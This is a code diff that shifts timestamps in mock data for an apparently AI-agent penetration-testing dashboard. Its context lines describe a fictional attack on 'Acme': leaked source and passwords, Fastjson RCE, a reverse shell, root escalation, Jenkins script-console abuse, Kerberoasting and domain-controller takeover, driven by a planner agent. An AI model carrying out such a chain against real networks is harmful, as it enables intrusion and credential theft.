@@ -455,7 +459,7 @@ export const assets: Asset[] = [
method: "POST",
status_code: 200,
params: [{ name: "username" }, { name: "password" }],
- last_seen: T("2026-07-26T02:13:00Z"),
+ last_seen: T("2026-11-14T02:13:00Z"),
},
{
id: 18,
@@ -466,7 +470,7 @@ export const assets: Asset[] = [
method: "GET",
status_code: 200,
params: [{ name: "q", in: "query" }],
- last_seen: T("2026-07-26T02:14:00Z"),
+ last_seen: T("2026-11-14T02:14:00Z"),
},
// Internal assets (DMZ → internal lateral discovery)
{
@@ -480,7 +484,7 @@ export const assets: Asset[] = [
{ port: 80, service: "http" },
{ port: 22, service: "ssh" },
],
- last_seen: T("2026-07-25T15:40:00Z"),
+ last_seen: T("2026-11-13T15:40:00Z"),
},
{
id: 20,
@@ -494,7 +498,7 @@ export const assets: Asset[] = [
{ port: 389, service: "ldap" },
{ port: 445, service: "smb" },
],
- last_seen: T("2026-07-25T21:00:00Z"),
+ last_seen: T("2026-11-13T21:00:00Z"),
},
{
id: 21,
@@ -504,7 +508,7 @@ export const assets: Asset[] = [
ip: "10.10.10.5",
c_segment: "10.10.10.0",
open_ports: [{ port: 445, service: "smb" }],
- last_seen: T("2026-07-25T21:00:00Z"),
+ last_seen: T("2026-11-13T21:00:00Z"),
},
{
id: 22,
@@ -514,7 +518,7 @@ export const assets: Asset[] = [
ip: "10.10.10.20",
c_segment: "10.10.10.0",
open_ports: [{ port: 8080, service: "http-proxy" }],
- last_seen: T("2026-07-25T21:00:00Z"),
+ last_seen: T("2026-11-13T21:00:00Z"),
},
{
id: 23,
@@ -525,7 +529,7 @@ export const assets: Asset[] = [
port: 8080,
service_type: "http",
service_name: "Jenkins 2.289",
- last_seen: T("2026-07-25T21:35:00Z"),
+ last_seen: T("2026-11-13T21:35:00Z"),
},
{
id: 24,
@@ -536,7 +540,7 @@ export const assets: Asset[] = [
port: 445,
service_type: "smb",
service_name: "Windows Server 2019 DC",
- last_seen: T("2026-07-25T23:55:00Z"),
+ last_seen: T("2026-11-13T23:55:00Z"),
},
{
id: 25,
@@ -550,7 +554,7 @@ export const assets: Asset[] = [
content_length: 14200,
page_title: "Jenkins Dashboard",
technologies: ["Jenkins", "Java"],
- last_seen: T("2026-07-25T21:35:00Z"),
+ last_seen: T("2026-11-13T21:35:00Z"),
},
{
id: 26,
@@ -560,7 +564,7 @@ export const assets: Asset[] = [
url: "http://10.10.10.20:8080/script",
method: "GET",
status_code: 200,
- last_seen: T("2026-07-25T21:35:00Z"),
+ last_seen: T("2026-11-13T21:35:00Z"),
},
];
@@ -598,7 +602,7 @@ export const findings: Finding[] = [
intent_id: "i-2",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-26T01:20:00Z"),
+ ts: T("2026-11-14T01:20:00Z"),
},
{
id: "f-2",
@@ -611,7 +615,7 @@ export const findings: Finding[] = [
intent_id: "i-5",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
- ts: T("2026-07-26T02:44:00Z"),
+ ts: T("2026-11-14T02:44:00Z"),
},
{
id: "f-3",
@@ -623,7 +627,7 @@ export const findings: Finding[] = [
evidence: "HS256 with the key 'secret'; john cracks it in 5 seconds → any sub can be forged to bypass authorization.",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
- ts: T("2026-07-26T03:02:00Z"),
+ ts: T("2026-11-14T03:02:00Z"),
},
{
id: "f-4",
@@ -635,7 +639,7 @@ export const findings: Finding[] = [
evidence: "q= is echoed verbatim in the result title.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T22:10:00Z"),
+ ts: T("2026-11-13T22:10:00Z"),
},
{
id: "f-5",
@@ -647,7 +651,7 @@ export const findings: Finding[] = [
evidence: "GET /.git/HEAD → 200; git-dumper recovered the backend source with a commented database connection string.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T20:30:00Z"),
+ ts: T("2026-11-13T20:30:00Z"),
},
{
id: "f-6",
@@ -660,7 +664,7 @@ export const findings: Finding[] = [
intent_id: "i-3",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-26T03:50:00Z"),
+ ts: T("2026-11-14T03:50:00Z"),
},
{
id: "f-7",
@@ -672,7 +676,7 @@ export const findings: Finding[] = [
evidence: "/login?next=https://evil.example redirects 302 to an external site after login.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T19:12:00Z"),
+ ts: T("2026-11-13T19:12:00Z"),
},
{
id: "f-8",
@@ -684,7 +688,7 @@ export const findings: Finding[] = [
evidence: "1000 attempts/minute with no lockout and no captcha.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T18:40:00Z"),
+ ts: T("2026-11-13T18:40:00Z"),
},
{
id: "f-9",
@@ -696,7 +700,7 @@ export const findings: Finding[] = [
evidence: "A triggered 500 returned a Node.js stack trace, leaking absolute paths and dependency versions.",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
- ts: T("2026-07-25T23:05:00Z"),
+ ts: T("2026-11-13T23:05:00Z"),
},
{
id: "f-10",
@@ -708,7 +712,7 @@ export const findings: Finding[] = [
evidence: "Fingerprinting identified component v2.3.1, matching the CVE-2024-xxxx deserialization RCE.",
task_id: "t-shop-pay",
task_description: "shop.acme.com payment and order flows",
- ts: T("2026-07-23T15:00:00Z"),
+ ts: T("2026-11-11T15:00:00Z"),
},
// ── High findings along the external→internal kill chain (active task) ──
{
@@ -721,7 +725,7 @@ export const findings: Finding[] = [
intent_id: "ig",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T20:36:00Z"),
+ ts: T("2026-11-13T20:36:00Z"),
},
{
id: "f-12",
@@ -738,7 +742,7 @@ export const findings: Finding[] = [
intent_id: "i7",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T15:40:00Z"),
+ ts: T("2026-11-13T15:40:00Z"),
},
{
id: "f-13",
@@ -752,7 +756,7 @@ export const findings: Finding[] = [
intent_id: "i8",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T16:20:00Z"),
+ ts: T("2026-11-13T16:20:00Z"),
},
{
id: "f-14",
@@ -765,7 +769,7 @@ export const findings: Finding[] = [
intent_id: "i9",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T21:00:00Z"),
+ ts: T("2026-11-13T21:00:00Z"),
},
{
id: "f-15",
@@ -779,7 +783,7 @@ export const findings: Finding[] = [
intent_id: "i11",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T21:50:00Z"),
+ ts: T("2026-11-13T21:50:00Z"),
},
{
id: "f-16",
@@ -792,7 +796,7 @@ export const findings: Finding[] = [
intent_id: "i12",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-25T23:20:00Z"),
+ ts: T("2026-11-13T23:20:00Z"),
},
{
id: "f-17",
@@ -809,7 +813,7 @@ export const findings: Finding[] = [
intent_id: "i13",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
- ts: T("2026-07-26T00:20:00Z"),
+ ts: T("2026-11-14T00:20:00Z"),
},
];
@@ -828,7 +832,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "origin",
origin: "system",
- ts: T("2026-07-24T09:12:00Z"),
+ ts: T("2026-11-12T09:12:00Z"),
},
// ── Goals (decomposed by the goals agent, escalating toward the internal target as findings arrive) ──
@@ -839,7 +843,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 9,
state: "met",
origin: "goals",
- ts: T("2026-07-24T09:13:00Z"),
+ ts: T("2026-11-12T09:13:00Z"),
},
{
id: "g2",
@@ -848,7 +852,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "open",
origin: "goals",
- ts: T("2026-07-24T09:13:00Z"),
+ ts: T("2026-11-12T09:13:00Z"),
},
{
id: "g3",
@@ -857,7 +861,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 9,
state: "met",
origin: "goals",
- ts: T("2026-07-25T14:10:00Z"),
+ ts: T("2026-11-13T14:10:00Z"),
},
{
id: "g4",
@@ -866,7 +870,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 10,
state: "met",
origin: "goals",
- ts: T("2026-07-25T20:00:00Z"),
+ ts: T("2026-11-13T20:00:00Z"),
},
// ── Layer 1 · External reconnaissance / external findings ──
@@ -877,7 +881,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 6,
state: "done",
origin: "planner",
- ts: T("2026-07-24T09:20:00Z"),
+ ts: T("2026-11-12T09:20:00Z"),
},
{
id: "i2",
@@ -886,7 +890,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 9,
state: "done",
origin: "planner",
- ts: T("2026-07-26T03:30:00Z"),
+ ts: T("2026-11-14T03:30:00Z"),
},
{
id: "i3",
@@ -895,7 +899,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "running",
origin: "planner",
- ts: T("2026-07-26T03:55:00Z"),
+ ts: T("2026-11-14T03:55:00Z"),
},
{
id: "i4",
@@ -904,7 +908,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "done",
origin: "planner",
- ts: T("2026-07-25T22:00:00Z"),
+ ts: T("2026-11-13T22:00:00Z"),
},
{
id: "i5",
@@ -913,7 +917,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "running",
origin: "planner",
- ts: T("2026-07-26T02:30:00Z"),
+ ts: T("2026-11-14T02:30:00Z"),
},
{
id: "ig",
@@ -922,7 +926,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 7,
state: "done",
origin: "planner",
- ts: T("2026-07-25T20:20:00Z"),
+ ts: T("2026-11-13T20:20:00Z"),
},
// ── Layer 2 · Breaking through the DMZ to establish a foothold ──
@@ -933,7 +937,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 7,
state: "done",
origin: "planner",
- ts: T("2026-07-25T14:20:00Z"),
+ ts: T("2026-11-13T14:20:00Z"),
},
{
id: "i7",
@@ -942,7 +946,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 9,
state: "done",
origin: "planner",
- ts: T("2026-07-25T15:10:00Z"),
+ ts: T("2026-11-13T15:10:00Z"),
},
{
id: "i8",
@@ -951,7 +955,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "done",
origin: "planner",
- ts: T("2026-07-25T16:00:00Z"),
+ ts: T("2026-11-13T16:00:00Z"),
},
// ── Layer 3 · Internal lateral depth (multi-layer testing) ──
@@ -962,7 +966,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "done",
origin: "planner",
- ts: T("2026-07-25T20:30:00Z"),
+ ts: T("2026-11-13T20:30:00Z"),
},
{
id: "i10",
@@ -971,7 +975,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "running",
origin: "planner",
- ts: T("2026-07-26T03:40:00Z"),
+ ts: T("2026-11-14T03:40:00Z"),
},
{
id: "i11",
@@ -980,7 +984,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 9,
state: "done",
origin: "planner",
- ts: T("2026-07-25T21:30:00Z"),
+ ts: T("2026-11-13T21:30:00Z"),
},
{
id: "i12",
@@ -989,7 +993,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 8,
state: "done",
origin: "planner",
- ts: T("2026-07-25T22:40:00Z"),
+ ts: T("2026-11-13T22:40:00Z"),
},
{
id: "i13",
@@ -998,7 +1002,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 10,
state: "done",
origin: "planner",
- ts: T("2026-07-25T23:50:00Z"),
+ ts: T("2026-11-13T23:50:00Z"),
},
// ── Facts ──
@@ -1009,7 +1013,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#1",
- ts: T("2026-07-24T09:40:00Z"),
+ ts: T("2026-11-12T09:40:00Z"),
},
{
id: "fa2",
@@ -1018,7 +1022,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#4",
- ts: T("2026-07-25T22:05:00Z"),
+ ts: T("2026-11-13T22:05:00Z"),
},
{
id: "faGit",
@@ -1027,7 +1031,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "workG",
- ts: T("2026-07-25T20:30:00Z"),
+ ts: T("2026-11-13T20:30:00Z"),
},
{
id: "faCreds",
@@ -1036,7 +1040,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "workG",
- ts: T("2026-07-25T20:35:00Z"),
+ ts: T("2026-11-13T20:35:00Z"),
},
{
id: "fa3",
@@ -1045,7 +1049,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#6",
- ts: T("2026-07-25T14:40:00Z"),
+ ts: T("2026-11-13T14:40:00Z"),
},
{
id: "fa4",
@@ -1054,7 +1058,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#7",
- ts: T("2026-07-25T15:40:00Z"),
+ ts: T("2026-11-13T15:40:00Z"),
},
{
id: "fa5",
@@ -1063,7 +1067,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#8",
- ts: T("2026-07-25T16:20:00Z"),
+ ts: T("2026-11-13T16:20:00Z"),
},
{
id: "fa6",
@@ -1072,7 +1076,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#9",
- ts: T("2026-07-25T20:40:00Z"),
+ ts: T("2026-11-13T20:40:00Z"),
},
{
id: "fa7",
@@ -1081,7 +1085,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#9",
- ts: T("2026-07-25T21:00:00Z"),
+ ts: T("2026-11-13T21:00:00Z"),
},
{
id: "fa8",
@@ -1090,7 +1094,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#11",
- ts: T("2026-07-25T21:45:00Z"),
+ ts: T("2026-11-13T21:45:00Z"),
},
{
id: "fa9",
@@ -1099,7 +1103,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#11",
- ts: T("2026-07-25T22:10:00Z"),
+ ts: T("2026-11-13T22:10:00Z"),
},
{
id: "fa10",
@@ -1108,7 +1112,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "open",
origin: "work#12",
- ts: T("2026-07-25T23:20:00Z"),
+ ts: T("2026-11-13T23:20:00Z"),
},
// ── Findings ──
@@ -1119,7 +1123,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#2",
- ts: T("2026-07-26T03:50:00Z"),
+ ts: T("2026-11-14T03:50:00Z"),
},
{
id: "fi2",
@@ -1128,7 +1132,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#4",
- ts: T("2026-07-26T01:20:00Z"),
+ ts: T("2026-11-14T01:20:00Z"),
},
{
id: "fi3",
@@ -1137,7 +1141,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#5",
- ts: T("2026-07-26T02:44:00Z"),
+ ts: T("2026-11-14T02:44:00Z"),
},
{
id: "fiSrc",
@@ -1146,7 +1150,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "workG",
- ts: T("2026-07-25T20:36:00Z"),
+ ts: T("2026-11-13T20:36:00Z"),
},
{
id: "fiRce",
@@ -1155,7 +1159,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#7",
- ts: T("2026-07-25T15:40:00Z"),
+ ts: T("2026-11-13T15:40:00Z"),
},
{
id: "fiPriv",
@@ -1164,7 +1168,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#8",
- ts: T("2026-07-25T16:20:00Z"),
+ ts: T("2026-11-13T16:20:00Z"),
},
{
id: "fiJenkins",
@@ -1173,7 +1177,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#11",
- ts: T("2026-07-25T21:50:00Z"),
+ ts: T("2026-11-13T21:50:00Z"),
},
{
id: "fiKerb",
@@ -1182,7 +1186,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#12",
- ts: T("2026-07-25T23:20:00Z"),
+ ts: T("2026-11-13T23:20:00Z"),
},
{
id: "fiDC",
@@ -1191,7 +1195,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 0,
state: "confirmed",
origin: "work#13",
- ts: T("2026-07-26T00:20:00Z"),
+ ts: T("2026-11-14T00:20:00Z"),
},
// ── Hints (injected by the main agent) ──
@@ -1202,7 +1206,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 5,
state: "consumed",
origin: "mainagent",
- ts: T("2026-07-26T03:20:00Z"),
+ ts: T("2026-11-14T03:20:00Z"),
},
{
id: "h2",
@@ -1211,7 +1215,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 6,
state: "consumed",
origin: "mainagent",
- ts: T("2026-07-25T21:20:00Z"),
+ ts: T("2026-11-13T21:20:00Z"),
},
{
id: "h3",
@@ -1220,7 +1224,7 @@ export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
priority: 6,
state: "consumed",
origin: "mainagent",
- ts: T("2026-07-25T23:10:00Z"),
+ ts: T("2026-11-13T23:10:00Z"),
},
],
edges: [
@@ -1297,12 +1301,12 @@ export const frontier: TaskNode[] = explorationGraph.nodes.filter(
// Each worker session contains the full tool execution chain (tool_use → tool_result → …→ result).
export const activity: Activity[] = [
// planner — the full decision chain each round: read the situation → pull worker outputs for comparison → judge goals → dispatch direction via add_intent
- // ── Round 0 · Goal decomposition and the first intents (2026-07-24 09:12) ──
- { seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "Round 0 · Goal decomposition" },
+ // ── Round 0 · Goal decomposition and the first intents (2026-11-12 09:12) ──
+ { seq: 1000, worker: "planner", ts: T("2026-11-12T09:12:10Z"), kind: "round", summary: "Round 0 · Goal decomposition" },
{
seq: 1001,
worker: "planner",
- ts: T("2026-07-24T09:12:25Z"),
+ ts: T("2026-11-12T09:12:25Z"),
kind: "thinking",
summary:
"graph_overview: goals are already decomposed by the goal layer — g1 'Gain admin access to acme.com', g2 'Read user sensitive data', both open; facts=0, recent_facts is empty (the graph is essentially blank, with no worker output yet). Assets in scope are just the root domain acme.com + one /24 segment. Initial attack-surface read: five entries — www / admin / api / shop / vpn. There is no fact in the graph, so I can only do [ultra-light read-only probing] to make the initial intents concrete, and never do the actual work in a plan.",
@@ -1310,7 +1314,7 @@ export const activity: Activity[] = [
{
seq: 1002,
worker: "planner",
- ts: T("2026-07-24T09:12:40Z"),
+ ts: T("2026-11-12T09:12:40Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "p0-probe",
@@ -1320,7 +1324,7 @@ export const activity: Activity[] = [
{
seq: 1003,
worker: "planner",
- ts: T("2026-07-24T09:12:52Z"),
+ ts: T("2026-11-12T09:12:52Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "p0-probe",
@@ -1331,7 +1335,7 @@ export const activity: Activity[] = [
{
seq: 1004,
worker: "planner",
- ts: T("2026-07-24T09:13:00Z"),
+ ts: T("2026-11-12T09:13:00Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p0-ai",
@@ -1342,7 +1346,7 @@ export const activity: Activity[] = [
{
seq: 1005,
worker: "planner",
- ts: T("2026-07-24T09:13:02Z"),
+ ts: T("2026-11-12T09:13:02Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p0-ai",
@@ -1352,18 +1356,18 @@ export const activity: Activity[] = [
{
seq: 1006,
worker: "planner",
- ts: T("2026-07-24T09:13:05Z"),
+ ts: T("2026-11-12T09:13:05Z"),
kind: "text",
summary:
"This round derived the first 4 intents: i1 asset reconnaissance, i2 admin credentials, i4 injection, i5 API authorization bypass. g1 goes through i2 and g2 through i4/i5; both goals have independent entries in progress. Escalate along lineage once workers produce facts.",
},
- // ── Round 1 · Attack surface escalation (2026-07-25 14:12) ──
- { seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "Round 1 · Attack surface escalation" },
+ // ── Round 1 · Attack surface escalation (2026-11-13 14:12) ──
+ { seq: 1100, worker: "planner", ts: T("2026-11-13T14:12:00Z"), kind: "round", summary: "Round 1 · Attack surface escalation" },
{
seq: 1101,
worker: "planner",
- ts: T("2026-07-25T14:12:15Z"),
+ ts: T("2026-11-13T14:12:15Z"),
kind: "thinking",
summary:
"Comparing recent_facts: workG returned faGit '.git is downloadable; git-dumper recovered the backend source' and faCreds 'config.php hardcodes sa/Acme@2021 (suspected shared internally)'; work#6's fingerprinting returned fa3 'shop matched Fastjson 1.2.24 (known deserialization RCE)'. Two [materially new mechanisms]: (1) the hardcoded DB password may be reused across the internal network; (2) Fastjson has a mature RCE playbook. This opens an entry [essentially different] from the existing credential/injection routes — breaking into the DMZ directly via RCE on shop. Pull faGit details first to verify the artifacts.",
@@ -1371,7 +1375,7 @@ export const activity: Activity[] = [
{
seq: 1102,
worker: "planner",
- ts: T("2026-07-25T14:12:28Z"),
+ ts: T("2026-11-13T14:12:28Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p1-nd",
@@ -1381,7 +1385,7 @@ export const activity: Activity[] = [
{
seq: 1103,
worker: "planner",
- ts: T("2026-07-25T14:12:35Z"),
+ ts: T("2026-11-13T14:12:35Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p1-nd",
@@ -1392,7 +1396,7 @@ export const activity: Activity[] = [
{
seq: 1104,
worker: "planner",
- ts: T("2026-07-25T14:12:50Z"),
+ ts: T("2026-11-13T14:12:50Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p1-ai",
@@ -1403,7 +1407,7 @@ export const activity: Activity[] = [
{
seq: 1105,
worker: "planner",
- ts: T("2026-07-25T14:12:52Z"),
+ ts: T("2026-11-13T14:12:52Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p1-ai",
@@ -1412,24 +1416,24 @@ export const activity: Activity[] = [
{
seq: 1106,
worker: "planner",
- ts: T("2026-07-25T14:13:00Z"),
+ ts: T("2026-11-13T14:13:00Z"),
kind: "text",
summary:
"Situation escalated: source code + hardcoded internal credentials + Fastjson RCE form a brand-new breakthrough route. The goal layer has been asked to register g3 'Break through the DMZ from the outside and establish an internal foothold', dispatching i6 (fingerprint/CVE correlation) and i7 (trigger the RCE). The DMZ escalation step depends on the shell and is recorded as a todo for the next round.",
},
- // ── Round 2 · Foothold established, pivoting internal (2026-07-25 20:25) ──
+ // ── Round 2 · Foothold established, pivoting internal (2026-11-13 20:25) ──
{
seq: 1200,
worker: "planner",
- ts: T("2026-07-25T20:25:00Z"),
+ ts: T("2026-11-13T20:25:00Z"),
kind: "round",
summary: "Round 2 · Foothold established, pivoting internal",
},
{
seq: 1201,
worker: "planner",
- ts: T("2026-07-25T20:25:18Z"),
+ ts: T("2026-11-13T20:25:18Z"),
kind: "thinking",
summary:
"Comparing lineage: i7 returned fa4 'reverse shell www-data@dmz-web01(10.0.20.15), in the DMZ segment'; the escalation chain returned fa5 'sudo -l matched NOPASSWD python3 → escalation to root possible' and fa6 'the foothold's second NIC connects directly to the internal 10.10.10.0/24'. g3's acceptance conditions (break through the DMZ + establish a foothold) are directly satisfied by fa4+fa6. Verify fa6's internal reachability first, then prove_goal.",
@@ -1437,7 +1441,7 @@ export const activity: Activity[] = [
{
seq: 1202,
worker: "planner",
- ts: T("2026-07-25T20:25:30Z"),
+ ts: T("2026-11-13T20:25:30Z"),
kind: "tool_use",
tool: "node_detail",
tool_use_id: "p2-nd",
@@ -1446,7 +1450,7 @@ export const activity: Activity[] = [
{
seq: 1203,
worker: "planner",
- ts: T("2026-07-25T20:25:38Z"),
+ ts: T("2026-11-13T20:25:38Z"),
kind: "tool_result",
tool: "node_detail",
tool_use_id: "p2-nd",
@@ -1455,7 +1459,7 @@ export const activity: Activity[] = [
{
seq: 1204,
worker: "planner",
- ts: T("2026-07-25T20:25:50Z"),
+ ts: T("2026-11-13T20:25:50Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p2-pg",
@@ -1466,7 +1470,7 @@ export const activity: Activity[] = [
{
seq: 1205,
worker: "planner",
- ts: T("2026-07-25T20:25:52Z"),
+ ts: T("2026-11-13T20:25:52Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p2-pg",
@@ -1475,7 +1479,7 @@ export const activity: Activity[] = [
{
seq: 1206,
worker: "planner",
- ts: T("2026-07-25T20:26:10Z"),
+ ts: T("2026-11-13T20:26:10Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p2-ai",
@@ -1486,7 +1490,7 @@ export const activity: Activity[] = [
{
seq: 1207,
worker: "planner",
- ts: T("2026-07-25T20:26:12Z"),
+ ts: T("2026-11-13T20:26:12Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p2-ai",
@@ -1495,18 +1499,18 @@ export const activity: Activity[] = [
{
seq: 1208,
worker: "planner",
- ts: T("2026-07-25T20:26:20Z"),
+ ts: T("2026-11-13T20:26:20Z"),
kind: "text",
summary:
"g3 met; the attack surface moves from external to internal. Registered g4 'Move laterally internally and take the internal target domain controller DC01', dispatching i9 (host discovery) + three parallel lateral tracks i10/i11/i12. Credential reuse is anchored directly on faCreds — the password leaked from external source code feeds internal lateral movement.",
},
- // ── Round 3 · Target-met retrospective (2026-07-26 00:25) ──
- { seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "Round 3 · Target-met retrospective" },
+ // ── Round 3 · Target-met retrospective (2026-11-14 00:25) ──
+ { seq: 1300, worker: "planner", ts: T("2026-11-14T00:25:00Z"), kind: "round", summary: "Round 3 · Target-met retrospective" },
{
seq: 1301,
worker: "planner",
- ts: T("2026-07-26T00:25:16Z"),
+ ts: T("2026-11-14T00:25:16Z"),
kind: "thinking",
summary:
"Comparing this round's worker output: i9→fa7 'alive internally: DC01/FS01/JENKINS'; i11→fa8 'Jenkins /script unauthenticated Groovy' + fa9 'exported the plaintext password of acme\\svc_deploy from the Jenkins credentials store'; i12→fa10 'Kerberoasted the svc_sql TGS, hashcat cracked Sql@2020'. svc_deploy is in Domain Admins; i13 used it to take DC01 with psexec and secretsdump. g4's acceptance (take DC01) should be met — verify the finding evidence chain before stamping it.",
@@ -1514,7 +1518,7 @@ export const activity: Activity[] = [
{
seq: 1302,
worker: "planner",
- ts: T("2026-07-26T00:25:30Z"),
+ ts: T("2026-11-14T00:25:30Z"),
kind: "tool_use",
tool: "list_findings",
tool_use_id: "p3-lf",
@@ -1523,7 +1527,7 @@ export const activity: Activity[] = [
{
seq: 1303,
worker: "planner",
- ts: T("2026-07-26T00:25:40Z"),
+ ts: T("2026-11-14T00:25:40Z"),
kind: "tool_result",
tool: "list_findings",
tool_use_id: "p3-lf",
@@ -1533,7 +1537,7 @@ export const activity: Activity[] = [
{
seq: 1304,
worker: "planner",
- ts: T("2026-07-26T00:25:52Z"),
+ ts: T("2026-11-14T00:25:52Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p3-pg",
@@ -1544,7 +1548,7 @@ export const activity: Activity[] = [
{
seq: 1305,
worker: "planner",
- ts: T("2026-07-26T00:25:54Z"),
+ ts: T("2026-11-14T00:25:54Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p3-pg",
@@ -1553,24 +1557,24 @@ export const activity: Activity[] = [
{
seq: 1306,
worker: "planner",
- ts: T("2026-07-26T00:26:10Z"),
+ ts: T("2026-11-14T00:26:10Z"),
kind: "text",
summary:
"g4 wrapped up and the external-internal chain is fully connected (external RCE → DMZ → internal → domain controller). Comparing uncovered directions one by one: g2 'Read user sensitive data' still lacks the final step, but the existing i3 (admin user APIs) + i5 (API IDOR) already cover that direction and both are running. No [essentially different uncovered new direction] this round — 0 new intents per the restraint principle; wait for i3/i5 output.",
},
- // ── Round 4 · Admin goal met, converging on g2 (2026-07-26 03:55) ──
+ // ── Round 4 · Admin goal met, converging on g2 (2026-11-14 03:55) ──
{
seq: 1400,
worker: "planner",
